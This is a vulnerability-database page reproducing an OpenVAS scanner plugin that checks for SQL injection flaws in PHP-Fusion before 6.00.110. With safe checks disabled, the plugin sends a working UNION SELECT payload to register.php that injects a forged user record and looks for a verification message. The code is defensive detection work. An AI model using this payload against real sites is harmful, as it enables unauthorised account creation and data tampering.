Lucene search
K

PHP-Fusion < 6.00.110 Multiple SQLi Vulnerabilities

🗓️ 26 Mar 2006 00:00:00Reported by Copyright (C) 2005 Josh Zlatin-AmishavType 
openvas
 openvas
🔗 plugins.openvas.org👁 22 Views

The remote version of PHP-Fusion is vulnerable to multiple SQL injection attacks due to its failure to properly sanitize certain parameters. Provided PHP's 'magic_quotes_gpc' setting is disabled, these flaws allow an attacker to manipulate database queries, which may result in the disclosure or modification of data

Related
Refs
Code
ReporterTitlePublishedViews
Family
Tenable Nessus
PHP-Fusion < 6.00.110 Multiple SQL Injection Vulnerabilities
29 Sep 200500:00
nessus
Tenable Nessus
PHP-Fusion < 6.00.110 Multiple Scripts SQL Injection
12 Oct 200500:00
nessus
ATTACKERKB
CVE-2005-3162
6 Oct 200510:02
attackerkb
CVE
CVE-2005-3157
6 Oct 200504:00
cve
CVE
CVE-2005-3158
6 Oct 200504:00
cve
CVE
CVE-2005-3160
6 Oct 200504:00
cve
CVE
CVE-2005-3161
6 Oct 200504:00
cve
Cvelist
CVE-2005-3157
6 Oct 200504:00
cvelist
Cvelist
CVE-2005-3158
6 Oct 200504:00
cvelist
Cvelist
CVE-2005-3160
6 Oct 200504:00
cvelist
Rows per page
# SPDX-FileCopyrightText: 2005 Josh Zlatin-Amishav
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:php-fusion:php-fusion";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.20009");
  script_version("2025-01-31T05:37:27+0000");
  script_tag(name:"last_modification", value:"2025-01-31 05:37:27 +0000 (Fri, 31 Jan 2025)");
  script_tag(name:"creation_date", value:"2006-03-26 17:55:15 +0200 (Sun, 26 Mar 2006)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2005-3157", "CVE-2005-3158", "CVE-2005-3160", "CVE-2005-3161");

  script_name("PHP-Fusion < 6.00.110 Multiple SQLi Vulnerabilities");

  script_category(ACT_MIXED_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2005 Josh Zlatin-Amishav");
  script_dependencies("secpod_php_fusion_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("php-fusion/detected");

  script_xref(name:"URL", value:"https://www.securityfocus.org/archive/1/411909");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/14964");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/14992");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15005");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/15018");
  script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/secunia/2005-q4/0021.html");

  script_tag(name:"solution", value:"Update to version 6.00.110 or later.");

  script_tag(name:"summary", value:"PHP-Fusion is prone to multiple SQL injection (SQLi)
  vulnerabilities due to its failure to properly sanitize certain parameters.");

  script_tag(name:"impact", value:"Provided PHP's 'magic_quotes_gpc' setting is disabled, these
  flaws allow an attacker to manipulate database queries, which may result in the disclosure or
  modification of data.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("version_func.inc");
include("misc_func.inc");
include("url_func.inc");

if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

if( ! infos = get_app_version_and_location( cpe:CPE, port:port, exit_no_version:FALSE ) )
  exit( 0 );

ver = infos["version"];
dir = infos["location"];

if( ! safe_checks() ) {
  vtstrings = get_vt_strings();

  if( dir == "/" )
    dir = "";

  host = http_host_name( dont_add_port:TRUE );

  user = rand_str(charset:"abcdefghijklmnopqrstuvwxyz0123456789_");
  pass = rand_str();
  email = string(user, "@", host);
  sploit = string("UNION SELECT ",'"",', '"",', '0,',"'a:4:{",
                  's:9:"user_name";s:', strlen(user), ':"', user, '";',
                  's:13:"user_password";s:', strlen(pass), ':"', pass, '";',
                  's:10:"user_email";s:', strlen(email), ':"', email, '";',
                  's:15:"user_hide_email";s:1:"1";}');

  postdata = string("activate=", rand_str(), "'+", urlencode(str:sploit));
  url = dir + "/register.php?plugin=" + vtstrings["lowercase"];

  req = http_post(item:url, port:port, data:postdata);
  res = http_keepalive_send_recv( port:port, data:req, bodyonly:TRUE );
  if( !res )
    exit( 0 );

  if( "Your account has been verified." >< res ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

if( version_is_less_equal( version:ver, test_version:"6.00.100" ) ) {
  report = report_fixed_ver( installed_version:ver, fixed_version:"6.00.110", install_path:dir );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation